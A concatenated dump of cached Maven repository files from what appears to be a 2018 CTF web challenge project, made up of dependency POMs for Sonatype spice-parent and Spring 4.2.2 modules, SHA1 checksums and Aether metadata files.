web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom.sha1 ================================================ 11c9a4a343a22f80cfe4e9677d7b0679850e4196 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:39 CST 2018 spice-parent-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/spice-parent-10.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 3 org.sonatype.spice spice-parent 10 pom Sonatype Spice Components scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-10 http://svn.sonatype.org/spice/tags/spice-parent-10 scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-10 6.1.14 org.codehaus.plexus plexus-container-default 1.0-beta-1 commons-logging commons-logging commons-logging commons-logging-api log4j log4j org.codehaus.plexus plexus-component-annotations 1.0-beta-1 org.codehaus.plexus plexus-utils 1.5.5 org.mortbay.jetty jetty ${jetty.version} org.mortbay.jetty jetty-client ${jetty.version} junit junit 4.5 test org.codehaus.plexus plexus-component-metadata 1.0-beta-1 process-classes generate-metadata org.codehaus.plexus plexus-maven-plugin 1.3.8 descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/spice-parent-10.pom.sha1 ================================================ 8e0e4ba87d63321333c26494698377b1204633a8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:45 CST 2018 spice-parent-12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/spice-parent-12.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 4 org.sonatype.spice spice-parent 12 pom Sonatype Spice Components scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-12 http://svn.sonatype.org/spice/tags/spice-parent-12 scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-12 Apache Public License 2.0 http://www.apache.org/licenses/LICENSE-2.0 repo Hudson https://grid.sonatype.org/ci/view/Spice/ JIRA https://issues.sonatype.org/browse/SPICE 6.1.12 1.0-beta-3.0.5 org.codehaus.plexus plexus-container-default ${plexus.version} provided commons-logging commons-logging commons-logging commons-logging-api log4j log4j org.codehaus.plexus plexus-component-annotations ${plexus.version} provided org.codehaus.plexus plexus-utils 1.5.5 org.mortbay.jetty jetty ${jetty.version} org.mortbay.jetty jetty-client ${jetty.version} org.mortbay.jetty jetty-util ${jetty.version} junit junit 4.5 test org.codehaus.plexus plexus-component-metadata ${plexus.version} process-classes generate-metadata process-test-classes generate-test-metadata org.codehaus.plexus plexus-maven-plugin 1.3.8 descriptor org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo findbugs-maven-plugin 1.2 UnreadFields maven-jxr-plugin 2.1 maven-pmd-plugin 2.4 1.5 org.apache.maven.plugins maven-plugin-plugin 2.5 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugin-tools maven-plugin-tools-javadoc 2.5 org.codehaus.plexus plexus-javadoc 1.0 org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 dependencies project-team mailing-list cim issue-tracking license scm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/spice-parent-12.pom.sha1 ================================================ e86b2d826f53093e27dc579bea3becbf1425d9ba ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:25 CST 2018 spice-parent-16.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/spice-parent-16.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 5 org.sonatype.spice spice-parent 16 pom Sonatype Spice Components scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-16 http://svn.sonatype.org/spice/tags/spice-parent-16 scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-16 Apache Public License 2.0 http://www.apache.org/licenses/LICENSE-2.0 repo Hudson https://grid.sonatype.org/ci/view/Spice/ JIRA https://issues.sonatype.org/browse/SPICE 6.1.12 1.0-beta-3.0.5 org.codehaus.plexus plexus-container-default ${plexus.version} commons-logging commons-logging commons-logging commons-logging-api log4j log4j org.codehaus.plexus plexus-component-annotations ${plexus.version} org.codehaus.plexus plexus-utils 1.5.5 org.mortbay.jetty jetty ${jetty.version} org.mortbay.jetty jetty-client ${jetty.version} org.mortbay.jetty jetty-util ${jetty.version} junit junit 4.5 test m2e m2e.version org.maven.ide.eclipse lifecycle-mapping 0.9.9-SNAPSHOT customizable org.apache.maven.plugins:maven-resources-plugin:: org.codehaus.plexus plexus-component-metadata ${plexus.version} process-classes generate-metadata process-test-classes generate-test-metadata org.codehaus.plexus plexus-maven-plugin 1.3.8 descriptor org.apache.maven.plugins maven-surefire-plugin 2.4.2 org.codehaus.modello modello-maven-plugin 1.0.2 true org.apache.maven.plugins maven-resources-plugin 2.4.1 org.codehaus.mojo cobertura-maven-plugin 2.3 org.codehaus.mojo findbugs-maven-plugin 1.2 UnreadFields maven-jxr-plugin 2.1 maven-pmd-plugin 2.4 1.5 org.apache.maven.plugins maven-plugin-plugin 2.5 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugin-tools maven-plugin-tools-javadoc 2.5 org.codehaus.plexus plexus-javadoc 1.0 org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 dependencies project-team mailing-list cim issue-tracking license scm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/spice-parent-16.pom.sha1 ================================================ aefd3135046b7c3f5835283bcc3b670fc46692b9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:59 CST 2018 spice-parent-17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/spice-parent-17.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 10 org.sonatype.spice spice-parent 17 pom Sonatype Spice Components scm:git:git://github.com/sonatype/oss-parents.git scm:git:git@github.com:sonatype/oss-parents.git https://github.com/sonatype/spice-parent Apache License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0 repo Hudson https://grid.sonatype.org/ci/view/Spice/ JIRA https://issues.sonatype.org/browse/SPICE 2.1.1 1.6.1 org.sonatype.sisu sisu-inject-bean ${sisu-inject.version} runtime org.sonatype.sisu sisu-guice 2.9.4 no_aop runtime javax.inject javax.inject 1 compile org.sonatype.sisu sisu-inject-plexus ${sisu-inject.version} compile org.codehaus.plexus plexus-component-annotations 1.5.5 compile org.codehaus.plexus plexus-classworlds 2.4 compile org.codehaus.plexus plexus-utils 2.0.5 compile org.slf4j slf4j-api ${slf4j.version} jar compile org.slf4j jcl-over-slf4j ${slf4j.version} jar runtime org.slf4j jul-to-slf4j ${slf4j.version} jar runtime org.slf4j slf4j-simple ${slf4j.version} jar test junit junit 4.8.2 test org.codehaus.plexus plexus-component-metadata 1.5.5 process-classes generate-metadata process-test-classes generate-test-metadata org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugin-tools maven-plugin-tools-javadoc 2.5 org.codehaus.plexus plexus-javadoc 1.0 org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 dependencies project-team mailing-list cim issue-tracking license scm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/spice-parent-17.pom.sha1 ================================================ 7f500699ef371383492a4d6ee799b1a77ffd82cc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-test/unknown/spring-boot-starter-test-unknown.jar.lastUpdated ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Tue Jun 05 00:46:24 CST 2018 https\://repo.maven.apache.org/maven2/.lastUpdated=1528130784792 https\://repo.maven.apache.org/maven2/.error= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-test/unknown/spring-boot-starter-test-unknown.pom.lastUpdated ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Tue Jun 05 00:46:23 CST 2018 https\://repo.maven.apache.org/maven2/.lastUpdated=1528130783979 https\://repo.maven.apache.org/maven2/.error= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-web/unknown/spring-boot-starter-web-unknown.jar.lastUpdated ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Tue Jun 05 00:46:24 CST 2018 https\://repo.maven.apache.org/maven2/.lastUpdated=1528130784786 https\://repo.maven.apache.org/maven2/.error= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-web/unknown/spring-boot-starter-web-unknown.pom.lastUpdated ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Tue Jun 05 00:46:23 CST 2018 https\://repo.maven.apache.org/maven2/.lastUpdated=1528130783462 https\://repo.maven.apache.org/maven2/.error= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-aop-4.2.2.RELEASE.jar>central= spring-aop-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.jar.sha1 ================================================ b8d352f994790af6b54a5028255232316b74ca20 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-aop 4.2.2.RELEASE Spring AOP Spring AOP https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR aopalliance aopalliance 1.0 compile com.jamonapi jamon 2.81 compile true commons-pool commons-pool 1.6 compile true org.apache.commons commons-pool2 2.4.2 compile true org.aspectj aspectjweaver 1.8.7 compile true org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-core 4.2.2.RELEASE compile ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.pom.sha1 ================================================ 2e6f7f19c6cc0833ce165ee34b1b718bd432b1f5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-beans-4.2.2.RELEASE.jar>central= spring-beans-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.jar.sha1 ================================================ c0384c9b077c02ce34234ba258a5161c30ac6895 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-beans 4.2.2.RELEASE Spring Beans Spring Beans https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR javax.el javax.el-api 2.2.5 compile true javax.inject javax.inject 1 compile true org.codehaus.groovy groovy-all 2.4.5 compile true org.springframework spring-core 4.2.2.RELEASE compile org.yaml snakeyaml 1.16 compile true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.pom.sha1 ================================================ 1f4f11de2facc99f9f1ae7842526b5a4fdb6dd09 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-context-4.2.2.RELEASE.jar>central= spring-context-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.jar.sha1 ================================================ f384619756dc640498cfbb955352ca9546c4630d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-context 4.2.2.RELEASE Spring Context Spring Context https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR javax.ejb ejb-api 3.0 compile true javax.enterprise.concurrent javax.enterprise.concurrent-api 1.0 compile true javax.inject javax.inject 1 compile true javax.money money-api 1.0 compile true javax.validation validation-api 1.0.0.GA compile true joda-time joda-time 2.8.2 compile true org.aspectj aspectjweaver 1.8.7 compile true org.beanshell bsh 2.0b4 compile true org.codehaus.groovy groovy-all 2.4.5 compile true org.eclipse.persistence javax.persistence 2.0.0 compile true org.hibernate hibernate-validator 4.3.2.Final compile true org.jruby jruby 1.7.22 compile true org.springframework spring-aop 4.2.2.RELEASE compile org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-expression 4.2.2.RELEASE compile org.springframework spring-instrument 4.2.2.RELEASE compile true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.pom.sha1 ================================================ 2c0599744991998deb2eca842ece0c67f254b994 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 spring-context-support-4.2.2.RELEASE.jar>central= spring-context-support-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.jar.sha1 ================================================ cfa157cb014248ebeaab19757605f2fc6267d2bd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-context-support 4.2.2.RELEASE Spring Context Support Spring Context Support https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR com.google.guava guava 18.0 compile true com.lowagie itext 2.1.7 compile true javax.cache cache-api 1.0.0 compile true javax.mail javax.mail-api 1.5.4 compile true net.sf.ehcache ehcache 2.10.0 compile true net.sf.jasperreports jasperreports 6.1.1 compile xml-apis xml-apis jackson-core com.fasterxml.jackson.core jackson-databind com.fasterxml.jackson.core olap4j org.olap4j spring-context org.springframework jackson-annotations com.fasterxml.jackson.core true org.apache.velocity velocity 1.7 compile true org.codehaus.fabric3.api commonj 1.1.0 compile true org.freemarker freemarker 2.3.23 compile true org.quartz-scheduler quartz 2.2.1 compile true org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-context 4.2.2.RELEASE compile org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-jdbc 4.2.2.RELEASE compile true org.springframework spring-tx 4.2.2.RELEASE compile true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.pom.sha1 ================================================ 729c3b88bbd3db07938f16d1e8c0b0f6b5cc6c2a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-core-4.2.2.RELEASE.jar>central= spring-core-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.jar.sha1 ================================================ 963d6c9d0b546b6313fb51618ed5c080e8981ddc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-core 4.2.2.RELEASE Spring Core Spring Core https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR commons-codec commons-codec 1.10 compile true commons-logging commons-logging 1.2 compile log4j log4j 1.2.17 compile true net.sf.jopt-simple jopt-simple 4.9 compile true org.aspectj aspectjweaver 1.8.7 compile true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.pom.sha1 ================================================ 4adecfbe3db523ad35be73df726a30bf6f9367c6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-expression-4.2.2.RELEASE.jar>central= spring-expression-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.jar.sha1 ================================================ 966ab265ede093a8cd24a09f32cf7ad96a24dc71 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-expression 4.2.2.RELEASE Spring Expression Language (SpEL) Spring Expression Language (SpEL) https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR org.springframework spring-core 4.2.2.RELEASE compile ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.pom.sha1 ================================================ 8c33579f2799344a83f0201decaa5187d327a728 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 spring-jdbc-4.2.2.RELEASE.jar>central= spring-jdbc-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.jar.sha1 ================================================ f77a7f5b7e3147958350d86331d3e7bea459306b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-jdbc 4.2.2.RELEASE Spring JDBC Spring JDBC https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR com.h2database h2 1.4.190 compile true com.mchange c3p0 0.9.5.1 compile true javax.transaction javax.transaction-api 1.2 compile true org.apache.derby derby 10.12.1.1 compile true org.apache.derby derbyclient 10.12.1.1 compile true org.hsqldb hsqldb 2.3.3 compile true org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-context 4.2.2.RELEASE compile true org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-tx 4.2.2.RELEASE compile ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.pom.sha1 ================================================ ea3ac5b407238e193221e623c37741822b8b5323 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-test-4.2.2.RELEASE.pom>central= spring-test-4.2.2.RELEASE.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.jar.sha1 ================================================ 39330e8e825ea9fd789684b8667248e31ccc2163 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-test 4.2.2.RELEASE Spring TestContext Framework Spring TestContext Framework https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR com.jayway.jsonpath json-path 2.0.0 compile true javax.el javax.el-api 2.2.5 compile true javax.inject javax.inject 1 compile true javax.portlet portlet-api 2.0 compile true javax.servlet.jsp.jstl javax.servlet.jsp.jstl-api 1.2.1 compile true javax.servlet.jsp javax.servlet.jsp-api 2.2.1 compile true javax.servlet javax.servlet-api 3.0.1 compile true junit junit 4.12 compile true net.sourceforge.htmlunit htmlunit 2.18 compile true org.apache.taglibs taglibs-standard-jstlel 1.2.1 compile taglibs-standard-spec org.apache.taglibs true org.aspectj aspectjweaver 1.8.7 compile true org.codehaus.groovy groovy-all 2.4.5 compile true org.hamcrest hamcrest-core 1.3 compile true org.seleniumhq.selenium selenium-htmlunit-driver 2.47.1 compile true org.skyscreamer jsonassert 1.2.3 compile true org.springframework spring-beans 4.2.2.RELEASE compile true org.springframework spring-context 4.2.2.RELEASE compile true org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-jdbc 4.2.2.RELEASE compile true org.springframework spring-orm 4.2.2.RELEASE compile true org.springframework spring-tx 4.2.2.RELEASE compile true org.springframework spring-web 4.2.2.RELEASE compile true org.springframework spring-webmvc 4.2.2.RELEASE compile true org.springframework spring-webmvc-portlet 4.2.2.RELEASE compile true org.testng testng 6.9.6 compile true xmlunit xmlunit 1.6 compile true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.pom.sha1 ================================================ f71787d5fe6d68d0474a49c89e07e6b5a35b877c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 spring-tx-4.2.2.RELEASE.pom>central= spring-tx-4.2.2.RELEASE.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.jar.sha1 ================================================ bc04eea145c8d7099b997c1436afcfc8b9bddf6b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-tx 4.2.2.RELEASE Spring Transaction Spring Transaction https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR aopalliance aopalliance 1.0 compile true com.ibm.websphere uow 6.0.2.17 compile true javax.ejb ejb-api 3.0 compile true javax.resource connector-api 1.5 compile true javax.transaction javax.transaction-api 1.2 compile true org.springframework spring-aop 4.2.2.RELEASE compile true org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-context 4.2.2.RELEASE compile true org.springframework spring-core 4.2.2.RELEASE compile ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.pom.sha1 ================================================ 558ca74ed6a36e5c24dee09972633b39ec2e939f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-web-4.2.2.RELEASE.pom>central= spring-web-4.2.2.RELEASE.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.jar.sha1 ================================================ 1e5dc84520538d166c8b7a7186b9cf4e8f265694 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-web 4.2.2.RELEASE Spring Web Spring Web https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR aopalliance aopalliance 1.0 compile true com.caucho hessian 4.0.38 compile true com.fasterxml.jackson.core jackson-databind 2.6.3 compile true com.fasterxml.jackson.dataformat jackson-dataformat-xml 2.6.3 compile true com.google.code.gson gson 2.3.1 compile true com.google.protobuf protobuf-java 2.6.1 compile true com.googlecode.protobuf-java-format protobuf-java-format 1.2 compile true com.rometools rome 1.5.1 compile true com.squareup.okhttp okhttp 2.5.0 compile true commons-fileupload commons-fileupload 1.3.1 compile true io.netty netty-all 4.0.32.Final compile true javax.el javax.el-api 2.2.5 compile true javax.faces javax.faces-api 2.2 compile true javax.mail javax.mail-api 1.5.4 compile true javax.portlet portlet-api 2.0 compile true javax.servlet.jsp javax.servlet.jsp-api 2.2.1 compile true javax.validation validation-api 1.0.0.GA compile true log4j log4j 1.2.17 compile true org.apache.httpcomponents httpasyncclient 4.1 compile true org.apache.httpcomponents httpclient 4.5.1 compile true org.codehaus.groovy groovy-all 2.4.5 compile true org.eclipse.jetty jetty-server 9.3.5.v20151012 compile javax.servlet-api javax.servlet true org.eclipse.jetty jetty-servlet 9.3.5.v20151012 compile javax.servlet-api javax.servlet true org.springframework spring-aop 4.2.2.RELEASE compile org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-context 4.2.2.RELEASE compile org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-oxm 4.2.2.RELEASE compile true javax.servlet javax.servlet-api 3.0.1 provided ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.pom.sha1 ================================================ 8f422a2b51a625010488c7b9bbcf354857f0a276 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 spring-webmvc-4.2.2.RELEASE.jar>central= 